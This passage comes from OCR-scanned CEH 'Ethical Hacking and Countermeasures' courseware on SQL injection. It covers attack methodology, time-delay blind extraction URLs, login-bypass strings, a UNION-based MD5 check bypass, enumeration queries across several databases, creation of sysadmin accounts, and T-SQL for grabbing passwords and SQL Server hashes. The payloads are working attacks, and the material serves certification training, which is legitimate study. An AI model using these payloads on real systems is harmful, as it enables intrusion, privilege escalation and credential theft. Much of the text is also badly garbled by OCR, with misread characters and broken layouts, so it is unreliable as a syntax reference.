first column and row match the character by guessing. Extract 1st Field of 1st Row h t tp :/ / ju g g y b o y . cam/page . a s p x ? id - l ; I F (LEK (SELECT TOP 1 E ID fro n EMP) - 3 ) WAITFOR DELAY • 0 0 :0 0 :1 0 ' — h t tp :/ / iu a a y b o y .com/pacre.asp x ? 1 d * l ; I F DELAY '0 0 : 0 0 : 1 0 '— (A S C II (s u b s t r in g <(SELECT TOP 1 E ID fro n EMP) , 1 , 1 ) )-1 0 6 ) WAITFOR h t t p :/ / ju g g yb o y. com/page.asp x ? 1 d = l; I F DELAY • 0 0 :0 0 :1 0 '— (A S C II(s u b s t r in g ((S E L E C T TOP I E ID fro n E M P ), 2 , 1 ) )■111) WAITFOR h ttp :/ / ju g g y b o y .co m / p a g e .a s p x ?id = l; i r DELAY '0 0 : 0 0 : 1 0 '- - ( A S C II(s u b s t r in g ( (SELECT TOP 1 E ID fro n E M P ) , 3 , 1 ) ) =101) WAITFOR Field Data =JOE Extract 2nd Field of 1st Row h ttp :// ju g g yb o y.co m /p a g o .a sp x 7 id ‫; ! ־‬ IF h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x 7 id - l; I F WAITFOR DELAY '0 0 :0 0 :1 0 ‫— ״‬ (LEK (SELEC T TOP 1 DEPT front EM P)»4) WAITFOR DELAY • 00:00:10'-(A S C II(s u b s t r in g ( (SELECT TOP 1 DEPT from EM P ), 1 , 1 ) ) -100) h ttp :// ju g g yb o y.co m /p a g e.a s p x ? 1 d = l; I F WAITFOR DELAY '0 0 :0 0 :1 0 ' — (A S C II(s u b s t r in g ((S E L E C T TOP I DEPT from EM P ), 2 , 1 ) ) ■111) h ttp :/ / ju g g y b o y .c o m / p a g e .a s p x 7 id - l; I F WAITFOR DELAY '0 0 :0 0 :1 0 ' — (A S C II(s u b s t r in g ( (SELECT TOP 1 DEPT from SM E ), 3 , 1 ) ) -109) h ttp :/ / ju g g y b o y com/pag® aspx‫ »׳‬id = l; I F WAITFOR DELAY '0 0 :0 0 :1 0 '- - (A S C II (s u b s tr in g ( (SELECT TOP 1 DEPT from EM P ), 3 , 1 ) ) ■112) Field Data ‫ ־‬COMP F IG U R E 14.18: Extract D atabase from R O W S Module 14 Page 2053 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Copyright © by EC-ClllCil. All Rights Reserved. Reproduction Is Strictly Prohibited. M odule Flow Attackers follow a methodology to perform SQL injection attacks to ensure that they check for every possible way of performing these attacks. This increases the likelihood of successful attacks. SQL Injection Concepts ^* Advanced SQL Injection Testing for SQL Injection Types of SQL Injection ( 1 Blind SQL Injection SQL Injection Tools ^ J ^ ) y— Evasion Techniques Countermeasures SQL Injection Methodology Module 14 Page 2054 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker This section provides insight into the SQL injection methodology. It describes the steps used by the attacker to perform SQL injection attacks. Module 14 Page 2055 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection Methodology C EH In fo rm a tio n G a th e rin g C o m p ro m is e th e N e tw o rk Interact w ith SQL Injection th e O peration System Vuln erab ility Detection Lau n ch S Q L In je c tio n E x tra ct th e D ata A ttack s Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. SQL Injection Methodology The following are the various stages of SQL injection methodology: a Information gathering: The attacker first gathers all the required information he or she needs before the SQL injection attack. a SQL injection vulnerability detection: Usually the attacker's job is to identify the vulnerability of the system so that he or she can exploit the vulnerability to launch attacks. Q Launch SQL injection attack: W here ever there is weak authentication, that will be the main source for the attacker to enter into the network and finally by exploiting the authentication rules, the attacker injects the malicious code of SQL injection. e Extract the data: The attacker gets access to the network as a privileged user and will be able to extract the sensitive data from the network. e Interact with the operating system: Once he or she gains access, the attacker tries to escalate his or her privileges so that he or she can interact with the operating system. 9 Compromise the system: The attacker can modify, delete the data, or create new accounts as a privileged user depending on the purpose of the attack. Again, from there, Module 14 Page 2056 Ethical Hacking and Countermeasures Copyright © by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker the attacker can log in to the other associated networks. He or she installs Trojans and other keyloggers, etc. Module 14 Page 2057 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection Methodology (Cont’d) Information Gathering rg u Urt.fi•* | ttk.ul N Im m SQL Injection Vulnerability Detection Extract DB name, version, users, output mechanism, DB type, user privilege level, and OS interaction level List all input fields, hidden fields, and post requests Enter('),(;),(-), AND, and OR in input field Attempt to inject codes into the input fields to generate an error Perform blind Perform error based SQL injection (W ait for Delay) SQL injection An error page means vulnerable Perform union based SQL injection .............................. L... Launch SQL Injection Attacks Penetrate a d d itio n a l machines on th e Extract table names, column name, and table data n e tw o rk , install Trojans and p la n t keyloggers Compromise the Network Interact with the OS Extract the Data Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. SQL Injection Methodology (Cont’d) In the information gathering stage, attackers try to gather information about the target database such as database name, version, users, output mechanism, DB type, user privilege level, and OS interaction level. Once the information gathered, the attacker then tries to look for SQL vulnerabilities in the target web application. For that, he or she lists all input fields, hidden fields, and post requests on the website and then tries to inject codes into the input fields to generate an error. The attacker then tries to carry out different types of SQL injection attacks such as error-based SQL injection, union-based SQL injection, blind (W ait for Delay) SQL injection, etc. Once the attacker succeeds in performing a SQL injection attack, he or she then tries to extract table names, column names, and table data from the target database. Depending upon the aim of the attacker, he or she may interact with the OS to extract OS details and application passwords, execute commands, access system files, etc. The attacker can go further to compromise the whole target network by installing Trojans and planting keyloggers. Module 14 Page 2058 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Copyright © by EC-ClllCil. All Rights Reserved. Reproduction is Strictly Prohibited. i / M odule Flow Prior to this, we have discussed the SQL injection methodology. Now we will discuss advanced SQL injection. SQL Injection Concepts * Testing for SQL Injection Types of SQL Injection Advanced SQL Injection SQL Injection Tools ^ Evasion Techniques g ) :--1 Blind SQL Injection ‫ך‬ y y ■ J Countermeasures — SQL Injection Methodology This section explains each step involved in advanced SQL injection. Module 14 Page 2059 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Information Gathering CEH Urti*W itkH il lUckw Error Messages Error messages are essential for Database Tvpes Privilege Level OS Interaction SQL Query Inform ation Gathering Understanding the underlying SQL query will allow the attacker to craft correct SQL injection statements. Error messages are essential for extracting information from the database. Depending on the type of errors found, you can vary the attack techniques. Information gathering is also known as the survey and assess method used by the attacker to determine complete information of the potential target. Attackers find out what kind of database is used, what version is being used, user privilege levels, and various other things. The attacker usually gathers information at various levels starting with identification of the database type being used and the database search engine. Different databases require different SQL syntax. Identify the database engine used by the server. Identification of the privilege levels is one more step as there is chance of gaining the highest privilege as an authentic user. Then obtain the password and compromise the system. Interacting with the operating system through command shell execution allows you to compromise the entire network. Module 14 Page 2060 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Extracting Inform ation through Error M essa g es HAVING command allows to further define a query based on the "grouped" fields The error message will tell us which columns have not been grouped ' group by columnnames having 1=1 Try to insert strings into numeric fields; the error messages will show the data that could not get converted union select 1,1,‫י‬text',1,1,1 - union select 1,1, bigint,1,1,1 - Use time delays or error signatures to determine extract information if condition waitfor delay '0:0:5' — union select if( condition , benchmark (100000, shalftest')), 'false' ),1,1,1,1; Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. Extracting Inform ation through Error Messages Attackers may use following the ways to extract information through error messages: ‫ ־בר‬G ro u p in g E rro r o —‫׳‬ The HAVING command allows further defining a query based on the "grouped" fields. The error message will tell you which columns have not been grouped: 'group by columnnames h aving 1=1 - - V Type M ism a tc h Try to insert strings into numeric fields; the error messages will show you the data that could not get converted: ' union s e le c t 1 , 1 , ' t e x t ', 1 , 1 , 1 - 1 union s e le c t 1 ,1 , b i g i n t , 1 ,1 ,1 - - , B lind In je c tio n > if The attacker uses time delays or error signatures to determine extract information: c o n d itio n w a it f o r d e la y Module 14 Page 2061 '0 :0 :5 ' -- Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection 1; union s e le c t ) , 1 ,1 ,1 ,1 ; Module 14 Page 2062 if ( Exam 312-50 Certified Ethical Hacker c o n d itio n benchmark (100000, s h a l( ' t e s t ' )) , 'f a ls e ' Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Understanding SQL Query r ‫ר‬ In je c tio n s Most injections will land in the middle of a SELECT statement. In a SELECT clause we almost always end up in the W HERE section. r ‫י‬ S e le c t S ta te m e n t SELEC T * FROM t a b l e WHERE x = ' n o r m a l i n p u t ' group by x having 1=1 -- GROUP B Y x H A VIN G x = y ■ ORDER RY A vlVL‫׳‬jI O 1 x r D e te rm in in g D a ta b a se D e te rm in in g a SELEC T En g in e T yp e Q u e ry S tru c tu re Try to replicate an error free navigation Could be as simple as ' and '1' = '1 Or ' and '1' W Mostly the error messages will show you what D engine you are working with B » O B errors will display database type as part DC of the driver information t> If you do not receive any O B error message, DC make an educated guess based on the Operating System and Web Server = '2 Generate specific errors Determine table and column names 1group by columnnames having 1=1 Do we need parenthesis? Is it a subquery? -Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited. Understanding SQL Query To perform SQL injection, you should understand the query in order to know what part of the SQL query you can modify. The query modification can land anywhere in the query. It can be part of a SELECT, UPDATE, EXEC, INSERT, DELETE, or CREATE statement or subquery. In je c tio n s Most injections will land in the middle of a SELECT statement. In a SELECT clause, we almost always end up in the W HERE section. Select Statem ent SELECT * FROM ta b le WHERE x = ' n o rm a lin p u t' group by x h avin g 1=1 -‫־‬ GROUP BY x HAVING x = y ORDER BY x Determining Database Engine Type Most error messages will show you what database engine you are working with: a 9 ODBC errors will display database type as part of the driver information If you do not receive any ODBC error message, make an educated guess based on the operating system and web server Determining a SELECT Query Structure Module 14 Page 2063 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker To understand the SQL query, try to replicate error-free navigation as follows: a Could be as simple as ' and '1' = '1 or ' and T = '2 a Generate specific errors Q Determine table and column names ,group by columnnames having 1=1 - Q Do we need parentheses? Is it a subquery? This gives specific types of errors that give you more information about the table name and parameters in the query. Module 14 Page 2064 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker SQL Injection Try these at website login forms MD5 Hash Password e o ' UNION SELECT 1, 'anotheruser' , 'doesnt matter', 1— Bypassing MDS Hash Check Example You can union results with a known password and MD5 hash of supplied password The Web Application will compare your password and the supplied MD5 hash instead of MD5 from the database ........................................ Username : admin Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin' '81dc9bdbS2d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234) /Copyright © by EC-CMICil. All Rights KeServei R^production Is Strictly Prohibited. Bypass Website Logins Using SQL Injection Attackers take complete advantage of vulnerabilities. SQL commands and userprovided parameters are chained together by programmers. By utilizing this feature, the attacker executes arbitrary SQL queries and commands on the backend database server through the web application. Bypassing login scripts: Try the following SQL injection strings to bypass login scripts: admin' -admin' # admin'/ * ' o r 1=1-1 o r 1=1# ' o r 1=1/* ') or '1 '= '1-- ') or ( '1 '= '1 - Module 14 Page 2065 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker MD5 Hash Password You can union results with a known password and MD5 hash of a supplied password. The web application will compare your password and the supplied MD5 hash instead of MD5 from the database. Bypassing MD5 Hash Check Example Username : admin Password : 1234 ' AND 1=0 UNION ALL SELECT , ad m in', 181dc9bdb52d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234) Login as different User: ' UNION SELECT 1, Module 14 Page 2066 ' a n o th e ru s e r' , 'd o esn t m a t t e r ', 1-- Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker D atabase, Table, and Colum n Enum eration There are several SQL built-in scalar functions that will work in most SQL implementations: user or current_user, session_user, system_user ' and 1 in (s e le c t user ) — i f user =’dbo’ w a itfo r d elay '0 :0 :5 ' — * union s e le c t i f ( u s e r() lik e ' root0%', benchmark(50000, s h a l( ' t e s t ' ) ) , ,f a ls e ' ) ; J __________________________ Discover DB Structure ►‫׳‬ X DB Administrators Identify User Level Privilege _ 1 C EH Default administrator accounts include sa, system, sys, dba, admin, root and many others The dbo is a user that has implied permissions to perform all activities in the database. Any object created by any member of the sysadmin fixed server role belongs to dbo automatically ,1 Column Enumeration in DB i Determine table and column names ‫ י‬group by colximnnames having 1=1 -Discover column name types ' union select sum(columnname ) from tablename -Enumerate user defined tables ' and 1 in (s e le c t min(name) from sysobjects where xtype = ' U' and name > ‫— ) ' . י‬ MS SQL DB2 3EI.CCT nut• TROK •y.column. WXERE SELECT * FROM sysCAC. COlUBRS WHERE cabnanv*■ ' Z4t>2+nd3& ' sp_columns tablenaxr.e MySQL show columns f r nr. ta b le n a ra e Oracle SELECT * FROM all_tab_colum ns WHERE , able r.as^e= * tab l& a a ise ’ c Postgres SELECT attnvan, *c c n u w fr c o p g _cla ss , p g _arcrib u r« WHERE relname ‫ ־ ־‬t a ile n a s * ‫י‬ AND p g _ c la s s .o id = a trr e iid AND attnum > 0 Copyright © by EC-GlUIICil. All Rights Reserved. Reproduction is Strictly Prohibited. Egg Database, Table, and Column Enumeration The attacker can use the following techniques to enumerate databases, tables, and columns. Identify User Level Privilege There are several SQL built-in scalar functions that will work in most SQL implementations and show you current user, session user, and system user as follows: u ser o r c u r r e n t _ u s e r , s e s s io n _ u s e r, system _user 1 and 1 in (s e le c t u ser ) -- i f u ser = 'dbo' w a it f o r d e la y 1 union s e le c t i f ( ' fa ls e ' ) ; u s e r () lik e '0 :0 :5 'ro o t@ % ', benchmark(50000,s h a l ( ' t e s t ' ) ) , DB Administrators Default administrator accounts include sa, system, sys, dba, admin, root, and many others. The DBO is a user who has implied permissions to perform all activities in the database. Any object created by any member of the sysadmin fixed server role belongs to dbo automatically. Discover DB Structure Module 14 Page 2067 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker You can discover DB structure as follows: 9 Determine table and column names: 1group by columnnames having 1=1 - 9 Discover column name ty p e s :1union select sum(columnname ) from tablename — 9 Enumerate user defined tables: ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') - Column Enumeration in DB You can perform column enumeration in the DB as follows: 9 M S SQL: SELECT name FROM syscolumns WHERE id = (SELECT id FROM s y s o b je c ts WHERE name = 'tablenam e ') sp_columns tablename 9 MySQL: show columns from tablename 9 Oracle: SELECT *FROM all_tab_colum ns WHERE table_nam e=' tablename 1 9 D B 2 :SELECT * FROM s y s c a t . columns WHERE tabname= 'tablenam e ' 9 Postgres:SELECT attnum ,attnam e from p g _ c la s s , p g _ a ttr ib u te WHERE relname= 'tablenam e ' AND p g _ c la s s . o id = a t t r e lid AND attnum > 0 Module 14 Page 2068 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker A dvanced E num eration MySQL SYS.TAB, SYS.USER_TABLES SYS.ALL_TABLES £ syscolumns mysql.db tt MsysQueries £ sysobjects mysql.host MsysObjects SYS.USER_VIEWS t t B MsysRelationships SYS.USER_TAB_COLUMNS MS SQL Server mysql.user S MsysACEs SYS.USER_OBJECTS Q CEH systypes sysdatabases SYS.USER CATALOG t .trrn ' r a Tables and columns enumeration in one query SQL Server ' union se le c t 0, sy so b je c ts.name + ‫ + ' : י‬syscolumns.name + + systypes.name, 1 , 1 , ' 1 ' , 1 , 1 , 1 , 1 , 1 from sy so b jects, syscolumns, systypes where sy so b je c ts.xtype = •U' A D sy so b je c ts. id ‫ ־־‬syscolumns. id A D N N syscolumns. xtype = sy sty p es.xtype — Different databases in Server Database Enumeration ' and 1 in (s e le c t min (name ) from mas t e r . dbo. sysda tabases where name >‫— ) ' . י‬ File location of databases 1 and 1 in (s e le c t min ( filename ) from master, dbo. sysdatabases where filem uas > '. ‫— ) י‬ Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. Advanced Enumeration Attackers use advanced enumeration techniques for information gathering. The information gathered is again used to for gaining unauthorized access. Password cracking methods like calculated hashes and precomputed hashes with the help of various tools like John the Ripper, Cain & Abel, Brutus, cURL, etc. crack passwords. Attackers use buffer overflows for determining the various vulnerabilities of a system or network. The following are some of the metadata tables for different databases: 1. Advanced enumeration through Oracle Q SYS.USER_OBJECTS e SYS.TAB, SYS.USER_TEBLES e SYS.USER_VIEWS e SYS.ALL_TABLES e SYS.USER_TAB_COLUMNS « SYS.USER_CATALOG 2. Advanced enumeration through M S Access a MsysACEs Module 14 Page 2069 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection « MsysObjects e MsysQueries Q Exam 312-50 Certified Ethical Hacker MsysRelationships 3. Advanced enumeration through SQI Q mysql.user Q mysql.host e mysql.db 4. Advanced enumeration through Oracle MySQL Q sysobjects © syscolumns e systypes 9 sysdatabases Tables and columns enumeration in one query 'un io n s e le c t 0, sy sob j e c t s . name + ' : ' + syscolum ns. name + ' : ‫+ י‬ s y s ty p e s . name, 1, 1, ' 1 ' , 1, 1, 1, 1, 1 from s y s o b je c ts , syscolum ns, s ystyp e s where s y s o b je c t s . xtype = 'U ' AND s y s o b je c t s . id = syscolum ns. id AND syscolum ns. xtype = s y s ty p e s . xtype -Database Enumeration D if f e r e n t d atabases in S e r v e r : 1 and m a s te r. dbo. sysd atab ases where name ' 1 in ) - ( s e le c t min (name ) from F i l e lo c a t io n o f d atab ases: ‫ י‬and 1 in ( s e le c t m in (file n a m e ) from m a s te r. dbo. sysd atab ases where file n a m e >‫- ) י . י‬ Module 14 Page 2070 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Features of Different DBMSs MySQL MSSQL M S Access Oracle DB2 CEH PostgreSQL ‫ ״‬concat" >ll+.l II • String Concatenation concat(,) concat_ws(delim,) . ■. . + Comments ~ and /**/and # - and/* - No - and /* - - and /* Request Union union union and ; union union union union and; Sub-requests v.4.1 > ‫־‬ Yes No Yes Yes Yes Stored Procedures No Yes No Yes No Yes Availability of information_schem a or its Analogs v.5.0 > ‫־‬ Yes Yes Yes Yes Yes .. ­ ­‫״וו‬ " II" " II" Example (MySQL): SELECT * from table where id = 1 union select 1,2,3 Example (PostgreSQL): SELECT * from table where id = 1; select 1,2,3 Example (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual Copyright © by EG-GlOOCil. All Rights Reserved. Reproduction Is Strictly Prohibited. Features of D ifferent DBMSs The following are the features of comparison tables for different databases: M ySQ L MSSQL MS Access concat(,) 1l+ 1 l ‫״ ״&« ״‬ Oracle DB2 " " concat II ll+ 1 ll ■ PostgreSQL String Concatenation concat_ws(delim,) Comments - and /**/ and 8 — and /* No ‫ ״‬and /* - —and /* union union and; union union union union and; Sub-requests v.4.1 > = Yes No Yes Yes Yes Stored Procedures No Yes No Yes No Yes v.5.0 > = Yes Yes Yes Yes Yes Request Union " II" ­ ­‫״וו‬ , ‫־‬II ‫'־‬ Availability of information_schem a or its Analogs TABLE 14.5: Features of Different DBMSs Module 14 Page 2071 Ethical Hacking and Countermeasures Copyright © by EC-C0l1nCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker 9 Example (MySQL): SELECT * from table where id = 1 union select 1,2,3 a Example (PostgreSQL): SELECT * from table where id = 1; select 1,2,3 e Example (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual Module 14 Page 2072 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Creating Database Accounts CEH — • Oracle M icrosoft SQL Server exec sp_addlogin ,victor', 'Passl23' exec sp_addsrvrolemember , victor', 'sysadmin' CREATE USER victor IDENTIFIED BY Passl23 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO victor; GRANT RESOURCE TO victor; £ 3 Ak f M icrosoft Access M ySQ L CREATE USER victor IDENTIFIED BY 'Passl23' INSERT INTO mysql.user (user, host, password) VALUES ( ,v i c t o r ', 'localhost', PASSWORD('Passl23')) Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. Creating Database Accounts SQL Ser M icrosoft SQL s e rv e r You can create database accounts in Microsoft SQL server as follows: Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager. In SQL Server Enterprise Manager, expand Microsoft SQL Servers, expand SQL Server Group, expand <SQL cluster name>, expand Security, right-click Logins, and then click New Login. In the SQL Server Login Properties ■ New Login dialog box, on the General tab, in the Name box, type <domain name><account name>, and then click OK. Repeat this procedure for all remaining accounts you need to create. exec sp_ad d lo g in 1 ic t o r ', v 'P a s s l2 3 ' exec sp addsrvrolemember ' v i c t o r ' , Module 14 Page 2073 'sysad m in' Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker MySQL You can create database accounts in MySQL as follows: 9 Log in as the root user. Q mysql -u root -p Q Press Enter and type the root password when prompted. Q mysql-uroot-p<password> Q Just replace <password> with the root user password. Q Then, at the mysql prompt, create the desired database, e Create database testing. 9 Grant all on testing.* to 'tester'(g)'localhost' identified by 'password'; 9 This assumes that you are working on the machine where the database is located. Also, replace 'password' with the password you wish to use. INSERT INTO m ysq l.u se r (u ser, h o st, password) VALUES ( , v i c t o r ' , 'lo c a l h o s t ', PASSWORD( ' P a s s l2 3 ' ) ) O ra cle --- To create a database account for Oracle, do the following: e Click the Database Account sub tab under the Administration tab.The Database Account screen opens. e Click Create. The Create Database Account screen opens. 9 Enter values in the following fields: « User Name: Click the Search icon and enter search criteria for the Oracle LSH user for whom you are creating a database account. © Database Account Name: Enter a user name for the database account.The text you enter is stored in uppercase. © Password: Enter a password of 8 characters or more for the definer to use with the database account. © e Confirm Password: Reenter the password. Click Apply. The system returns you to the Database Account screen. CREATE USER v i c t o r ID EN T IFIED BY Passl23 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE u s e rs ; GRANT CONNECT TO v i c t o r ; GRANT RESOURCE TO v i c t o r ; Module 14 Page 2074 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker M icrosoft A ccess lfc , You can create database accounts in Microsoft Access: Q Click the New Button image on the toolbar. Q In the New File task pane, under Templates, click M y Computer. Q On the Databases tab, click the icon for the kind of database you want to create, and then click OK. Q In the File New Database dialog box, specify a name and location for the database, and then click Create. e Follow the instructions in the Database Wizard. CREATE USER v i c t o r ID EN T IFIED BY 'P a s s l2 3 ' Module 14 Page 2075 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Password Grabbing C EH Grabbing user name and passwords from a User Defined table D a ta b a se User Name Password John asd@123 Rebecca set qwertl23 Dennis T-SQL pass@321 b e g i n d e c l a r e Q v a r v a r c h a r (8 0 0 0 ) @ v a r = 1: ' s e l e c t @ v a r= @ v a r+ 1 1+ l o g in + ' / ' + p a s s w o rd + ‫י‬ u sers w h e re and 1 in l o g in > @ v a r s e l e c t (s e le c t v a r fr o m @ var a s v a r in t o ‫י‬ fro m tem p e n d -- tem p ) A p p lic a tio n A tta c k e r In te rn e t Copyright © by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited. Password Grabbing Attackers grab passwords through various methods. The following is the query used for password grabbing. Once the password is grabbed, the attacker might destroy the stay or steal it. At times, attackers might even succeed in escalating privileges up to the admin level. ‫;י‬ b eg in d e c la re @var v a r c h a r (8000) set @var=1: ' s e le c t @var=@var+1+ login+ 1/ ' +password+ ‫ י י‬from u se rs where lo g in > @var s e le c t @var as v a r in t o temp end -' and 1 in ( s e le c t v a r from tem p)-- 1 ; drop ta b le temp Grabbing user names and passwords from a user defined table: User Name Password John asd@123 R eb ecca q w e r tl2 3 Dennis p a ss@ 3 2 1 TA BLE 14.6: Passw ord Grabbing Module 14 Page 2076 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
  • Ethical Hacking and Countermeasures SQL Injection Exam 312-50 Certified Ethical Hacker Grabbing SQL Server Hashes CEH UrtifM The hashes are extracted using tu>«l IlM kM SQL query SELECT name, password FROM sysxlogins SELECT password FROM m aster..sysxlogins We then hex each hash To display the hashes through an error message, convert hashes Hex concatenate begin 0charvalue=' Ox ‫@ , י‬i=l, @length=datalength (@binval1e) , 0hexstring = ' 0123456789ABCDEF* Password field requires dba access With lower privileges you can still recover user names and brute force the password w hile (0i<=0length) BEGIN declare 0tempint in t , M 0f i r s t i n t in t , Qsecondint in t s e le c t 0tempint=CONVERT V SQL server hash sample (i n t ,SUBSTRING( 0binvalue, 0i , 1)) s e le c t 0firstint-FLOOR (0tempint/16) s e le c t 0 seco n dint0 ‫ ״‬tempint (0 firs tin t* 1 6 ) s e le c t 0 charvalue- 0 charval 1e + vS/ SUBSTRING (0 h e x s trin g ,0 firs tin t+ l,1) + SUBSTRING (0hexstring, 0secondint+l, 1) s e le c t 0i=0i+l 0 *0 1 0 0 3 4 7 6 7 D 5 C 0 C FA 5 F D C A 2 8 C 4 A 5 END And then we just cycle through all passwords ' and 6085E65E882E71C B0ED 2503412FD 5 406U 9 FFF0 4 12 9 A 1 D 7 2 E7 C 3 1 S4 F7 2 8 4 A 7 F3 A Extract hashes through error messages 1 in (s e le c t x from temp) — ' and 1 in (s e le c t substring (x, 256, 256) from temp) ' and 1 in (s e le c t substring (x, 512, 256) from temp) ‫ י‬drop tab le temp — Copyright © by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited. Grabbing SQL Server Hashes Some databases store user IDs and passwords in table called sysxlogins. An attacker tries extracting hashes through error messages. The attacker converts the hashes into hexadecimal format, which were previously in binary code. Once the attacker is done with the conversion process, the hashes will be displayed as error messages. If the Password field requires DBO access with lower privileges you can still recover user names and brute force the password. Q SQL query Q SELECT name, password FROM sysxlogins Q To display the hashes through an error message, convert hashes ‫ >־־‬Hex ‫>־‬ concatenate Q Q © Password field requires dbo access With lower privileges you can still recover user names and brute force the password SQL server hash sample 0x0100347 67D5C0CFA5FDCA28C4A56085E65E882E71CB0ED2503412FD54D6119FFF0412 9A1D72E7C3194F7284A7F3A Module 14 Page 2077 Ethical Hacking and Countermeasures Copyright © by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.
